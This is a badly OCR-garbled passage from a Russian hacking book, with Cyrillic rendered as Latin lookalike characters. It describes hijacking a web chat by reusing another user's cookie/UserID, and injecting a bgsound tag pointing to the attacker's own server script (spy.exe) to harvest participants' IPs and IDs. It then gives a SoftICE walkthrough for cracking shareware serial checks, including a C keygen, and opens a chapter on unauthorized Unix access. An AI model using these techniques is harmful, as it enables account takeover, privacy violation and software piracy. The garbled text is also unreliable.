MUHAMUYECKH (TSI KaXKIO0TO BXOSIIETO) U, BO3MOXHO, COAEPKUT HECKOJIBKO
ckphIThIX TIosieit. Tuna <input type=hidden name=cookie value=SP202134>
(tak xpanutcs UserlD).

Wnes B crieqytoleM: coxpaHsieM COIePKMMOe 3TOro dpeiiMa Ha TUCKe
U VCTIPABJISIEM €T0 TaK, YTOOBI MOXKHO OBLJIO ¢ HUM paboTaTh CO CBOEro BUHTA.
T.e. 3ameHsieM ccbUikM Tumna /cgi-bin/refresh.pl Ha mNOJHBIA MyTh
www.chat.nsk.su/cgi-bin/refresh.pl 1 BMeCTO CKpBITHIX MoJiei (hOPMBbI MTUILIEM
tna <input type=text name=cookie value=SP202134> (4To 661 MOXHO ObLIO
nx n3MeHsTh) [locne atoro memaem HTML nokyMeHT juist «cOOpPKY JaTa» U3
KyckoB. T.e. IpuMepHO Tax:

"First.htm”

<html>

<frameset rows="80%, 20%" >

<frameset cols="70%,30%" >

<frame name="razg" src="http://www.chat.nsk.su/cgi-
bin/refresh.cgi?win+razgovor+nocookie#end >

<frame name="rigt" src="http://www.chat.nsk.su/right.html">
</frameset>

<frame name="bot" src="start.htm">

</frameset>

</html>

Start.htm — 3T0 u ecTb TOT (ppeiiM, KOTOPBI MBI COXPAaHWIN U U3ME-
HWIHN.

IMocne aToro mpocro 6pay3epom oTkpbiBaeM crpaHully (First.htm).
U cpaszy(!!') monamaem B 4aT, MUHYS CTAaHIAPTHYIO MPOLIEIYPY BXOAA.

DTO MO3BOJIUT:
1. O6X0IUTh 3aperucTpUPOBAHHbBIC UMEHA.
2. IMpsitath cBoit [P oT kuinepoB. 3a cuet B3gTHs yyxkoro ID'a.

Janpiiie uHTepecHo BbUMCIuTh [P yyactHukoB. Eciu He 3ampenieH
Tar <bgsound src="">, TO 3TO MO3BOJIUT BCTABJISITh B CBOE COODIIIEHNUE Pecype
co cBoeif MamuHbL. CaM 1o cebe 3BYK He HYXKEH, HO 3TOT KOCSIK TO3BOJIMI
BCTaBUTb B CBOM Mecc CTpoKy Tuma <bgsound src="http://MylIP/cgi-bin/
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spy.exe">. DTOT CKPUIIT (Spy.eXe) BhI3bIBAJICS C MAIIMHBI KaXI0T0 yYaCTHUKA
yaTa. OTO MO3BOJUT yBUIETH [P BCcex (CKpUMT MPOCTO COXpaHsSIET Ha BUHT IaH-
Hble u3 nepemeHHoi okpyxXeHuss REMOTE_ADDR). IIpumepHo B 3T0 Xe
BpeMsl B yare MOSBWIKChH MPUBAThl. DTO 3HAYUT, YTO JOKYMEHT B IVIABHOM
(peiime (TOT, rIe MECChI BCe) CTal HA3bIBAThCS TTO-APYTOMY.

o npuBaToB:
http://www.chat.nsk.su/cgi-bin/refresh.cgi?win+razgovortend
Ilocne nosiBeHUs IPUBATOB:

http://www.chat.nsk.su/cgi-
bin/refresh.cgi?win+razgovor+SP345678#end

I'me SP456789 — UserlID.

ITocne sToro B ckpunt (spy.exe) 6bu1 Jo6aBieH BoiBoA ID'a u3 nepe-
MenHoii okpyxxenust HTTP_ REFERER. Hy, a conocraButh HuK ¢ ID'oM He
npob6iema, T.K. ID Kaxkmoro mpormcaH TaM XKe TPUMEPHO B TAKOI CTpOKe

<br><p><font color=yellow size=-1>TyT Huk</font></b>

<font color=black><a href="/cgi-bin/private_form.cgi?SP448188">

<img src=/img/mes.gif border=0 vspace=0></a></font>

(Dra cTpoka B3sTa U3 MpaBoro ¢ppeiima, rae MoKHO BbI3BaTh (DYHKIIUIO
«KT0 B yare»).

ITocae aToro nepecrano OBITH MPOOJIEMOI cortocTaBieHre HuKa 1 IP.
3aTeM MOXKXHO M03a0aBUThCS C IPUBATAMM.

Hcnonb3yst MeTo COXpaHeHUsT CTPAaHUYKKM Ha BUHT, MOKHO TTOJTYYUTD
(bopMy 1151 OTIIpaBICHUS IPUBATOB 0M K020-M0 KOMY-mo. T.e. MOXKHO B OTCBI-
JIaeMOM TIPUBATHO COOOIICHUHU MTPOCTABIISITh UMST OTITPABUTES.

OcTanock TOJIBKO OHO. MI3BECTHO, YTO B YaTe eCTh KWIIEPhI, HO HUYE-
IO HE U3BECTHO ITPO TO, YTO 3TO, TJIe 3TO, KaK 3T0. MI3BECTHO TOJIBKO, UTO IS
TOTO, YTOOBI KWJIIEPCTBOBAaTh, HAIO 3aliTH Ha KaKyI0-TO CTpaHWYKY. OYeBUI-
HO, YTO B 3TOM KMJUIEPCKOM CTpaHMYKEe ITOKa3bIBaloTCs MMeHa. [lpemmono-
JKUM, YTO MMSI TIOKa3bIBAETCS TAKUM, KaKUM ero BBOIUTh. Mcxomst u3 aroro,
noa umeHeM <bgsound src="http://MyIP/cgi-bin/spy.exe"> MyNick 3aien B
gar (4epe3 MPOKCH) M Haval JISTOHBKO PYraThesl (HAmIo ObUTO, YTOOB! KWILIEPHI
3allJTM Ha CBOIO CTpaHMuKy). [locie aToro, uzydms Jior Harrero Be6Cepepa
(OmniHTTPd beta), MoxHO yBUIETH TaM OOpalieHre CO CTPAHULIbI, HE OTHO-
cslleiics K U3BECTHBIM HaM CTpaHMIIaM yara. JIezeM Ha 9Ty CTpaHUILy U TOJTy-
JaeM 3aIipoc Ha BBOJ ITapoJisi, CO CIOBaMU «1oporoit amMUHUCTPATOP...». DTO
MPUSATHO rpeeT Aymry. Jaiplie MOXHO ITomo0paTh MapoJib WK eIle YTO IPH-
nyMmatb. Ho cuTyaimst croXuiach Tak, 4TO MbI OKa3aJIMCh B OMHOM CETH C KWJI-
JIEpOM, M, 3aIyCTUB CHUGbdEp, MBI TIOTydaeM Maposib.
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fAaBa 21.
Kak Aomatb npuaoxxeHna Windows

BeeaeHue

Jlomatp niporpaMmbl Windows B OOJBIIMHCTBE CIIy4aeB Jaxe IPOIIe,
yeM JjoMatb nporpammbl DOS. B Windows ¢103KHO 4TO-HUOYAb CKPBITH OT TO-
ro, KTO UIIET, OCOOEHHO €CJIM MporpaMMa MCIONb3yeT CTaHAapTHbIE (yHK-
uuu Windows.

[lepBas (1 yacTo eAMHCTBEHHAsI) BEIllb, KOTOpasi BaM MOTpedyeTcst, —
910 SoftICE/Win 2.00, MolIHBINI oT/Iamuuk oT pupmbl NuMega.

O630p SoftiCE/WIN 2.00

Hwxe npuseneH coctaB okHa SoftICE:

Perncrpel
R — npaBka 3HaueHMS PETUCTPOB.

OKHO AQHHbIX
D — npocMmoTp namMsTH.

E — mpaBka mamsTu.
OKHO KoAQ
U — npocMoTp Koja 1o aapecy.
A — BcTaBKa Koja.
OKHO KOMOHA
31ech Bbl HAOMpaeTe KOMaHIbI.
Jpyrue BaxkHble KJIaBUIIU (B CTAaHAAPTHON HACTPOMKE):
H/F1 — nomortip;

F5/Ctrl+D — 3amyck mporpamMmbl (MU MPOIO/DKEHUE TPEepPBaHHOMN
MPOrpaMMBbl);

F8 — moiraroBas omiajaka ¢ 3axX00M B TeJIO (PYHKIINY;
F10 — nomaroBast otjiagka 6e3 3axo/1a B TeJIO (DYHKLIVU;

F11 — BoiiiT u3 pyHkuuu (6ynaet paborath ToJbKO 10 nepsoro PUSH
B yHK1IMM).
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Mouck perncTpaunoHHbIX KOAOB

BO3MO)KHO, Hannqunﬁ croco6 IOIMPAaKTUKOBATLCA — 3TO HaWTHU
l"Z[e—HI/I6yJ1]) shareware—nporpaMMKy 1 MOMNbITAaTbCA 3aperuCTprupoBaTh €€.

Task Lock 3.00

ITpocTas 3ammTa Ha OCHOBE CEPUITHOTO HOMepa: HOMep He 3aBUCHUT HU
OT KaKuX (haKTOpOB.

Peructpanus 3akitouaeTcsl B 3al0JHEHUM PETUCTPAIIMOHHOTO HOMepa
B JMAJIOrOBOM OKOIIIKE, KOTOpOE MOSIBJISIETCSI, KOrna Bbl BHIOMpPAETE MEHIO
«Register = Register...». CyliecTByeT 1Ba TUIa perUCTPaLUM: A1 UHIUBUILY-
aJIbHOTO MCMOJIb30BAHUS Y /151 UCTIOJIb30BAHUS B «<KOHTOPE» (B OpUTMHAJIE —
site license). [ToaToMy O4eHb BEPOSITHO, UTO B IIporpaMmMe OyIeT ABe IMpoBep-
KW PETUCTPALIMOHHBIX KOJIOB.

PerucrpanoHHblie KOMbI Yallle BCETO BBOMSTCS B OOBIYHBIX CTPOUYKAX
BBoga tuma Windows Edit. UToOBI poBepUTh KO, IIporpaMMa JOJIKHA PO~
YUTATh COMEPKMMOE CTPOKHU BBOAA IIPU ITOMOIIN OTHOM M3 (DYHKIIWIA:

16-0out

GetWindowText
GetDlgItemText

32-out

GetWindowTextA, GetWindowTextW
GetDlgItemTextA, GetDlgItemTextW

IMocnenHsist 6ykBa B Ha3BaHWM 32-OUTHBIX (DYHKIIUI TOBOPUT O TOM,
KaKue CTPOKM UCTIONIB3YeT ATa (PYyHKIIMS: OMHOOANTOBbBIE MU ABYXOANWTOBBIE.
JIByx0aliTOBbIE CTPOKM UCITOJB3YIOTCS OYEHb PENKO.

Bo3MoxXHO, 4TO BBI YK€ YJIOBWIM MBIC/b, YTO «Ecin 661 MOXHO ObLIO
npepBatbes 1o Bei3oBYy GetWindowText...» — 1 BBl MoxeTe 310 caenartb!!! Ho
crepBa BbI JOJKHBI YOEIUTHCSI, YTO CUMBOJIbHBIE MMeHa (MMeHa (QYHKIIWIT)
3arpyxeHbl SoftICE'om.

YTOOBI YCTAHOBUTH «IOBYILIKY» (Ha CAaMOM JIejie 9TO Ha3bIBAETCsl TOY-
KOt ocTaHOBa, uiu OpetiknoitHToM) B SoftICE, BbI MOJKHBI 3aliTH B OTJIATYMK
HaxatueMm kiauin Ctrl-D u ucnions3oBats KoManay BPX. B kauecTse mapa-
MeTpa KOMaHIbl MOXXHO MCITOJIb30BaTh JTU00 UMs (YHKIIUM, JIMOO HeTloCpe/I-
CTBeHHO anpec. Tak Kak Hail «o0bekT u3ydeHus1» (Task Lock) sBastercs
32-0UTHBIM TIPUJIOXKEHUEM, MBI TIOJDKHBI TTOCTABUTh OpPEHKITOMHT Ha (hyHK-
mto GetWindowTextA. Eciu 3To0 He momMoxeT, MomnpoOyiiTe MOCTaBUTh
OpeKITOMHT Ha Apyrue GyHKIIUHN.
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B xomangHoii crpoke SoftlCE HabGepuTte ciienytoliee:

:bpx getwindowtexta

Ecnu BBI monyyute coobuieHue 06 ommbke (Harmpumep, «No LDT»),
y6enuTech, yTo B (DOHE Y BaC HE BBITTOHSAIOTCS HUKAKHUE IPYTHE TIPUITOXKEHUST.
Kak npaBunio, Norton Commander B hoHe sIBsIeTCS] MPUYMHON MTOA00HOTO
noBeneHust SoftICE.

Bbl MoxeTe IpoBepUTh HaJIWUKe OpEeMKITIOMHTOB KOMaH/IOM:

bl

B pe3sysbTare Bbl YBUAUTE YTO-HUOYIb THIIA:

00) BPX USER32!GetWindowTextA C=01

YrtoOb! BbIWTH U3 OTHaauuka, Haxkmure Ctrl-D (unu F5) eme pas.

IMpomomxum... Utak, Bbl yCTaHOBWIM OpelKMoiHT, 1 Ternepb SoftICE
Oy/eT «BBICKAKMBaTh» MPU Kaxk1oM BbizoBe ¢pyHKuuu GetWindowTextA. I1o-

MpoOyeM BBECTH KaKoe-HMOYyIb 3HaueHHE B OKHE PETrMCTPAllMM U HaXMeEM
OK. Bbl Haxumaete OK...

...H TIOJTyJaeTe Jypalkoe COOOIIEHHE O TOM, YTO Balll KO ObII HEIpa-
BWJIBHBIM.

3HaumT, 310 ObuIa He (pyHKIUA GetWindowTextA... Ilompodyem
GetDlgltemTextA.

Ynanum crapbiii OpeiKIMONHT:

:bc 0

(0 — 2TO HOMEp OpEeKMONHTA B CITUCKE OPEHUKITOMHTOB).

W ycTaHOBUM HOBBIA:

:bpx getdlgitemtexta

Hy uro x, monpoOyeM eliie pas...

Wow! Paboraer! Tenepr Bbl B SoftICE, B camom Hauane (GyHKIUN
GetDlgltemTextA. UToOkI mommacTh Tya, OTKyia OHa ObljIa BEI3BaHA, HAXKMMU -
te F11. Teneps Bel BHyTpu Moayiass SGLSET.EXE. Eciau Bel He yBepeHBI —

IIOCMOTPUTE Ha CTPOUYKY MECXKIAY OKHOM KOoJa U OKHOM KOMaHIHOM CTPOKH,
OHa JOJDKHA BBITJIAACTD TaK:

Ceifyac BbI y2K€ MOXETe 3aIllpETUTh PEaKIMIO0 Ha BbI30B (DYHKIIVU:
:bd 0

Ecau BaM BOPYT 3aX0ueTcsi CHOBA pa3pellnTh ee, HabepuTe:

:be 0
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IlepBas cTpoka B OKHE KOJia BBIIJISIIUT TaK:
CALL [USER32!GetDlgItemTextA]

YT1oOBI TOCMOTpPETH CTPOUKM Haj Helt, Hakumarite Ctrl+Up («cTpesnka
BBEPX») JIO TeX TOP, IMOKA He YBUJIUTE HUKETIPUBENEHHbIN KycoK koaa. Ecimn
Bbl HUYETO HE NMOHUMaeTe B AccemOiiepe, 03HAKOMbTECh C KOMMEHTApUsIMU,
KOTOpBIE MOTYT BaM TTOMOYb.

RET ; KoHel ¢yHKuuM

PUSH EBP ; Hawano ppyroi oyHKumm

MOV EBP, ESP ;

SUB ESP, 0000009C ;

PUSH ESI

> LEA EAX, [EBP-34] ; EAX = EBP-34

PUSH EDI

MOVE ESI, ECX ;

PUSH 32 ; Makc. pnuHa CTpoKM

> PUSH EAX ; Appec TekcToBOro Oydepa

PUSH 000003F4 ; WpeHTndukaTop ynpaBneHus

PUSH DWORD PTR [ESI+1C] ; MpeHTudukaTOp OKHA Amanora
CALL [USER32!GetDlgItemTextA] ; MonyynTb TekcT

Komanael PUSH o03HaualoT coxpaHeHue 3HAaYeHU ISl TTOCe Iy ole-
T'O MCITOJIb30BAHUSI.

BaxxHble CTPOUYKM MOMEUEHBI CUMBOJIOM «>». [JIs11s1 Ha 3TOT KOM, MBI
BUJMM, YTO ajipec TekcToBoro o0ydepa xpanuics B peructpe EAX u yto EAX
ob11 EBP-34h.

IToaTomy HaMm cTouT B3rIsIHYTH Ha EBP-34h:
:d ebp-34
Bb1 10oXHBI OBUTM YBUAETH TEKCT, KOTOPBI Bbl BBEJIU B JUaJIOTOBOM

okHe. Ternepb Mbl JOJKHBI HAWTH MECTO, T/ie Balll HOMEP CPaBHUBAETCS C pe-
aJTbHBIM CEPUIAHBIM HOMEPOM.

[MoaTomy MBI Mo11IaroBO Tpaccupyem mporpammy rpu nomoiiu F10 go
TeX ITop, ITOKa He BCTpeTuM 4To-HuOyns 0 EBP-34. He npoiiaeT 1 HeCKOJIbKIX
CEKYHII, KaK Bbl HATKHETECh Ha CJICIYIOIINIA KOJI:

> LEA EAX, [EBP+FFFFFF64] ; EAX = EBP-9C

LEA ECX, [EBP-34] ; ECX = EBP-34

PUSH EAX ; CoxpaHseT EAX

PUSH ECX ; CoxpaHseT ECX

> CALL 00403DDO ; BnigbiBaeT GyHKUMIO

ADD ESP, 08 ; YpanaeT COXpaHeHHyl WHGOpMaLMI0
TEST EAX, EAX ; T[lpoBepseT 3HayeHue ¢yHKUUK
JNZ 00402BCO ; MpboiraeT, eCcnv He «HONb»
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DTO BBITJISINT KaK BHI30B (DYHKIIMKM CpaBHEHMS ABYX cTpoK. OHa paGo-
TaeT TaK: Ha BXOJIe — JIBE CTPOKH, Ha Bbixoge — 0, eCJIM OHU paBHBI, 1 1000
Ipyroe 3HadyeHue, €CJIU He PaBHBI.

A 3ayeM MporpamMmme cpaBHUBATh KaKyl0-TO CTPOYKY C TOM, UYTO BbI BBE-
JIM B OkHe auanora? Jla 3areM, 4ToObl TPOBEPUTH MPABUIBHOCTD Ballieil CTPO-
K1 (Kak Bbl, BO3MOXHO, YyXe noragaiuch)! Tak-Tak, 3Ha4yuMT, 3TOT HOMEP
ckpoiBajics o aapecy [EBP+FFFFFF64]? SoftICE He coBceM KOPpeKTHO pa-
0OoTaeT ¢ OTpUlIATeJIbHBIMU YKUCJIaMU, Y TIO3TOMY HACTOSIIUI anpec CleayeT
IMOCUUTATD:

100000000 - FFFFFF64 = 9C
Bbl MoXeTe cienath 3To BelurciaeHue npsiMo B SoftICE:
17 0-FFFFFF64

Yucio 100 000 000 caukom Bennko st SoftICE, a Beruutanue us 0
JIAeT TOT XK€ CaMblii pe3yJibTar.

Hakonen npunuto BpeMs B3IJISIHYTb, YTO K€ CKPBIBAETCA MO aipecy
EBP-9C...

:d ebp-9c¢

B oxHxe nanHbix SoftICE Bl BUAUTE JIMHHYIO CTPOUKY LGP — 3TO Ce-
pUiiHBII HOMED!

Ho BBI moMHUMTE, YTO OBLIO cKa3aHO paHblle? /IBa TUma perucrpa-
LIMM — JIBa Pa3HBIX CEPUITHBIX HOMepa. [ToaToMy 1oce Toro, Kak Bbl 3amnuca-
JIM Ha OyMaXkeuKy TepBbIii CEpUIHBI HOMEp, TMPOIOJIKANTEe TpacCUpOBaTh
nporpammy Tipy oMoty F10. Mbl nonum 1o ciieayromero Kycka Koja:

> LEA EAX, [EBP-68] ; EAX = EBP-68

LEA ECX, [EBP-34] ; ECX = EBP-34

PUSH EAX ; CoxpaHsaeT EAX

PUSH ECX ; CoxpaHseT ECX

> CALL 00403DD0O ; CHOBa BbI3bIBAET (YHKLMIO

ADD ESP, 08 ; YpmanaeT COXpaHeHHyl MHOOpMaLMio
TEST EAX, EAX ; T[lpoBepdeT 3HaveHue OyHKuuM
JNZ 00402BFF ; TMpbiraeT ecnu He «HONb»

U gto BB BUauTe 1o agpecy EBP-68? Bropoii cepuitHbIit HoMep!
:d ebp-68
Bot u Bce... Haneemcs, uyTo y Bac Bce mosryguTcst!

Command Line 95

ITporpaMMa JIETKO pPErvCcTpaliiy «UMsI-KOI» W CO3IaHUs TeHeparopa
KJTIOUe — XOPOIIUI TTPUMED, € JISTKUM aJITOPUTMOM TeHepaluy Koja.
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BrI ocMoTpesi IporpaMMmy W YBUIEIH, Y4TO 3TO 32-GUTHOE TTPUITOXKE-
HHe, TpeOylolee UMsT M KOl B OKHe peructpanuu. [Toexamu!

Mpbl noctynaem Taxk ke, Kak 1 ¢ Task Lock'om — ctaBum OpeiiknoiiH-
Thl. MOXHO J1axke MOCTaBUTh Cpasy JiBa OpeiKIoiiHTa Ha Hanbojee BO3MOX-
uole pyHkuuu: GetWindowTextA u GetDlgltemTextA. Haxmure Ctrl-D,
YTOOBI BBI3BaTh OTVIAMYMK M HAOEPUTE B OKHE KOMaH/I:

:bpx getwindowtexta
:bpx getdlgitemtexta

Temnepb Bo3BpaliaiiTech B MPpepBaHHYIO MPOrpaMMy, UIUTE B OKHO pe-
TUCTpallMM U BBOAMTE MMsSI U KaKOW-HUOYIb HOMEpP (OOBIKHOBEHHOE 1IeJI0oe
YICJIO — 3TO HauboJiee BEPOSITHLIN Koa). MOXHO HamucaTh, HallpuMep:

Name: EDI'SON '96
Code: 12345

[Tporpamma octaHoBuiiach Ha GetDlgltemTextA. Tak xe, Kak u B CJly-
yae ¢ Task Lock'om, Mbl HaxkumMaeM F11 4ToObl BEpHYTHCSI B BbI3bIBAIOLILYIO
dynkuuio. [TpocmatpuBaem okHo Kozaa mipu nomouiu Ctrl+Up. BbizoB hyHK-
LMY BBITJISIAUT TaK:

MOV ESI, [ESP+0C]

PUSH 1E ; MakcumanbHas pnvHa

PUSH 0040A680 ; Anpec Oydepa

PUSH 000003ED ; WpeHTndukaTop ynpaBneHus
PUSH EST ; WpeHTuoukaTop OkHa [Auanora
CALL [User32!GetDlgItemTextA]

Yucno 40A680 kaxeTcs HaM MHTEPECHBIM, ITIO3TOMY MbI IIPOBEPSIEM
3TOT azipec:

:d 404680

Yo ke BUIHO B OKHE TaHHbIX, KAK HE UMsI, KOTOPOe Mbl BBeJIn? A Te-
Mepb B3MJITHEM Ha KYCOK KOJa TOJI BBILIEITPUBEACHHbBIM:

PUSH 00 ; (He wHTepecHo)

PUSH 00 ; (He wHTepecHo)

PUSH 000003F6 ; WpeHTudukaTop ynpaBneHus

MOV EDI, 0040A680 ; Appec Oyodepa

PUSH ESI ; WgeHTuoukaTop OkHa [Auanora

CALL [User32!GetDlgItemInt]

®yukimsa GetDlgltemInt moxoxka Ha GetDlgltemTextA, Ho Bo3Bpa-
IIaeT He CTPOKY, a 1enoe ynucyio. OHa Bo3Bpaiaet ero B peructpe EAX, mo-
3TOMY MBI TpaccupyeM 31oT Ko (F10) u cMoTpuM, 4TO Xe y Hac MOSIBUIIOCH
B OKHE PErMCTPOB IMOcje BbI3oBa GYHKIMHU... OHO BHITJISIAUT TaK:

EAX=00003039
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A uTo Takoe mectHaaarepuuHoe 3039? Habepem:

:? 3039

M nonyuum crenyroiee:

00003039 0000012345 «09»

" hex ~ dec " ascii

Kak BbI BUuguTe (11, BO3MOXHO, YK€ J0TadaIrCh), 3TO KO, KOTOPBIA BbI
BBeJU B quanioroBoM okHe. OK, uto Tenepn? [locMoTpum nanbiiie:

MOV [0040A548], EAX ; CoxpaHsieT per. KOA

MOV EDX, EAX ; A Takxe nomewaeT ero B EDX

MBI 1OCTUIIIM MeCTa, I/Ie MOJCYNUTHIBAETCS peaibHbII PerucTpaliMioH-
HBIN Kox!

MOV ECX, FFFFFFFF ; 3Tu CTpO4YkM MOACHUTHBAKT

SUB EAX, EAX ; anuHy CTpOKM

REPNZ SCASB

NOT ECX ;

DEC ECX ; ECX Tenepb COAEPXUT [UHY

MOVSX EAX, BYTE PTR [0040A680] ; MNonyvaeT 6aiT no aap. 40A680h
IMUL ECX, EAX ; ECX = ECX = EAX

SHL ECX, OA ; Cpsur sneso Ha 0Ah OuT

ADD ECX, 0002F8CC ; [JobaBnaeT 2F8CC k peaynbTaTy
MOV [0040A664], ECX

... toe on mpoBepsieTcs

CMP ECX, EDX ; CpaBHuBaeT uucna
JZ 00402DA6 ; MpboiraeT, ecnu pasHbl

Koraa Bbl foTpaccupoBaiv 10 CpaBHEHUSI YUCE, Bbl MOXETE ITOCMOT-
peTh, KAKUM JIOJIKEH ObLI OBITh Balll ped.ibHblii PETUCTPALMOHHBINA KO/:

7 ecx

B namewm ciydae 310 najno:

000DCOCC 0000901324

To ecth, mpaBUIbHBIN Kom Wit Hac: 901324.

Haxxmem F5 nim Ctrl-D, 4T0GbI BepHYThCS B IpOrpaMMy, 1 ITOIpooY-

€M ellle pa3, HO Ha 3TOT pa3 ¢ MPaBUJIbHBIM KOJIOM (B IecITUYHOM hopme). Pa-
6oTtaeT!

Co3aaHMe reHepaTopa KAoYen
AAg Command Line 95

B3nisiHeM Ha aJrOpuTM reHepaluy Koja 1 MonpooyeM MepeBecTr ero
Ha s13bIK CH.
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Bort oueHb nipocTast popmyiia, Mo KOTOPOK MOACYUTHIBACTCS KITIOY:

code = ((uppercase_first_char = length_of_string) << Ox0A) +
0x2f8cc

3ameuanue 1: He ciemyer 3a0bIiBaTh, YTO BCe CUMBOJIBI B OKHE BBOJA
MMEHU ObUTA TIPUBEACHBI K BEPXHEMY PETUCTPY, TTO3TOMY MbI JOJDKHBI ClIe-
JIaTh TO 3Ke.

3ameuaHue 2: << 0x0A o3HayaeT yMHOXHUE Ha 2 B cTeneHu 10.

Lle)'lI/IKOM IIporpamMma Ha Cn BBITJIAOAUT TaK:

#include

#include

int main()

{

unsigned long code;

unsigned char buffer[0x1e]
printf(«CommandLine95 Keymaker by ED!SON '96\n»);
printf(«Enter name: «);

gets(buffer);

strupr(buffer);

code = ( ((unsigned long)buffer[0] =
(unsigned long)strlen(buffer))

<< 0x0A) + 0x2f8cc

printf(«Your code is: %lu», code)
return 0;

}

Kak pa6otator PUSH un CALL,

KOTAQ NPOrpaMmda Bbi3biBaeT QYHKLMUIO

CHoBa B3rJIsHEM Ha Kycok Kona u3 Task Lock'a:

PUSH 32 ; Makc. anvHa CTPOKM

PUSH EAX ; Appec TekcTtoBoro bydepa

PUSH 000003F4 ; WpeHTndukaTop ynpaBneHus

PUSH DWORD PTR [ESI+1C] ; WapeHTudukaTOp OKHA Amanora

CALL [USER32!GetDlgItemTextA] ; MonyvaeT TekcT

Korna Bl BhI3bIBaeTe ¢yHkuuio GetDlgltemTextA u3 mporpaMmbi
Ha C, BbI30OB BBITJISIIUT TaK:

GetDlgItemTextA(hwndDlg, Ox3F4, buffer, 0x32)

~ [ESI+1C] =~ EAX

PUSH coxpaHsier naHHbIe B 00JaCTU IIaMSTH, Ha3bIBAEMOU CTEKOM.
B pesynbrate kaxgoro PUSH'a HOBBINE KyCOK HAaHHBIX IOMEIIAETCsI
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B BEPXYIIKY CTeKa, W 3aTeM BbI3bIBaecMast (DYHKIIUSI MPOBEPSIET, UTO JICKUT
B CTEKe, M MCITOJIb3YET 3TU JaHHBIC TT0 CBOEMY YCMOTPEHHUIO.

O nporpammax Ha VISUAL BASIC

EXE-aitnsl, npousBoaumbie Visual Basic'om, He SIBISIIOTCSI HACTOSI-
mwumu EXE. Onu nipocto comep:kaT ko st BeizoBa VBRUNxxx.DLL, koto-
phlif 3aTem unTaeT naHHble U3 EXE u BeimoaHseT mporpaMmy. Takoe ycTpoii-
ctBO nceBno- EXE-daiinos sBasieTcs: Takke IPpUIMHON TOTO, YTO IPOTrpaMMBbl
Ha Visual Basic'e Takue MeaieHHbIE.

A tak kak EXE-daiinsl He siBnstorcst Hactosmumu EXE-daitnamu, Bb
HE MOXeTe TpacCMpoBaTh M JM3acCeMOJIMPOBATh MX — Bbl HaiilieTe BBHI3OB
dyukimm u3 DLL u xkyay mycopa. M korga Bl OyaeTre TpacCMpoBaTh TaKyiO
MporpamMmmy, Bbl «3a0aynutech» B DLL.

Pemrenuem 3T10i mpoOJieMsbl ABJIsIeTCS AeKoMIIsiTop. CyliecTByeT ae-
KOMITWJISITOP [Jist IpOrpaMM, HalmMcaHHbIX Ha Visual Basic'e Bepcuii 2 u 3, co-
3MaHHBINA KeM-TO, Ha3biBaomuM cebst DoDi.

Kak B SoftiICE 3arpy>artb CUMBOAbHbIE MUMEHA

Yrobsl mpoBepuTh, 3arpy3un Jgu SoftICE cumBoibHBIE WMeHa
GetWindowText, Bbl AOMKHBI BOWTM B OTJAQAUMK HaXaTHeM Ha KJIaBUIIUA
Ctrl-D u B oKHe KOMaH[I BBECTU CJIeAyIOlIEe:

;exp getwindowtext

Ecau Bbl He monyuniu cnvcka Becex pyHkuuii GetWindowText, Bam
HYy>XHO oTpeaakTupoBath ¢aita \SIWIS\WINICE.DAT, ynajius CMuMBOJ KOM-
MeHTapus (';') mepen OMHOM U3 CTPOYEK 'eXp=', KOTOPhIE CICAYIOT 32 TCKCTOM:
«Examples of export symbols that can be included for chicago» B KoHlie 3TOr0
aiina.

BbI MOXeTe yaauTh KOMMEHTAPUU M3 BCEX CTPOYEK 'eXp="MJIU cOXpa-
HUTh HEMHOXKO MaMSTH, pPACKOMMEHTHUPOBAB TOJbKO CTPOYKM C (haitmamu
kernel32.dll, user32.dll u gdi32.dll, KkoTopbie ABISIOTCS CAaMBIMU Ba>KHBIMU.
ITocye 3TOro BBl JOJKHEI MEPETPY3UTh KOMITBIOTED.

CHHTAKCUC HEKOTOPbLIX PYHKLUN

Bam Gymer Jrerye MOHATH, KaK BBI3BIBAIOTCSA (DYHKIIUU, O KOTOPHIX MBI
TOBOPWJIM, €CJIM BHI OyIIeTe 3HATh MX ONTUCaHUS (IeKIapaIimn):

int GetWindowText(int windowhandle, char xbuffer, int maxlen)

int GetDlgItemText(int dialoghandle, int controlid, char =buffer
int maxlen);

int GetDlgItemInt(int dialoghandle, int controlid, int =flag, int
type);
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fAnaBa 22.
HeCaHKLUOHMPOBAHHbBIN AOCTY: NPUMeEPbI
BTOP)XEHuS

IMoseimenne unrepeca K TCP/IP cetsim 00yciioBieHO OypHBIM POCTOM
cetu Internet. OmHaKoO 3TO 3acTaBiisIeT 3aAyMaTbCsl HAll TeM, KaK 3alllUTUTh
CBOM MH(OPMAIIMOHHBIE PECYPCHI M KOMITBIOTEPHI OT Pa3IMYHOIO poja 3J10-
YMBIIUIEHHUKOB. JJIsi TOro, 4ToObl pa3paboTaTh peajibHO JeHCTBYIOIIME
KOHTPMEpPBI, HEOOXOAMMO 3HATh CITOCOOBI M METOMBI B3JIOMIIMKOB. B Mupo-
BOM coo01iiecTBe Internet yxe gaBHO BEJETCSI IMCKYCCHS O TOM, TTyOJIMKOBAaTh
WY He TyOJIMKOBaTh MaTepUasibl O METO/IaX TPOHUKHOBEHUS B UyXKHE KOM-
nbloTepHblie ceTu. [loce xxapkux o0CyXIeHW, TToX0Xe, OblJla OCO3HAHA He-
00XOMMOCTb MOJTHOM OTKPBITOCTH TI0 3TOMY BOTIPOCY. DTOT MaTepual OCHO-
BaH Ha OIbITE AAMUHUCTPUPOBAHUS CETU MPU MOCTOSTHHBIX TTOTBITKAX B3JIoMa
u merogmueckux ykazaHmsx CERT. Ero 3agaua coctonT B ToM, YTOOBI 0Opa-
TUTh BHUMaHUE aIMUHUCTPATOPOB CETEM, TOAKIIIOUEHHBIX K Internet, Ha oue-
BUIHBIE Opelu B cucTeMe 0e30MacHOCTM HauboJjiee TOMYJISIPHBIX CHUCTEM.
Kpome npumepoB B310MOB U BO3MOXKHBIX JIbIP, TOCTAPAEMCS KPATKO OTACATh
OCHOBHEIE CPeICTBA OOPHOBI C 3TUM HEM30€XKHBIM 3JI0M. YUUTHIBas TOT (QaKT,
YTO OOJIBIIIMHCTBO CEPBEPOB HA CETH MCIMOJIb3YET OMEPAMOHHYIO CUCTEMY
Unix, 0630p BO3MOXHBIX ITPOPEX B CHCTeMe 0€301MacHOCTA UMEET CMBICIT Ha-
yaTh UMEHHO ¢ 31011 OC.

OCHOBHbIE METOADbI MOAYYEHUS
HeCAHKLMOHUPOBAHHOIO AocTtyna K Unix yepes ceTb

Hauarp 0030p ciemyeT ¢ BO3MOXHOCTH B3JIOMa 4Yepe3 3JeKTPOHHYIO
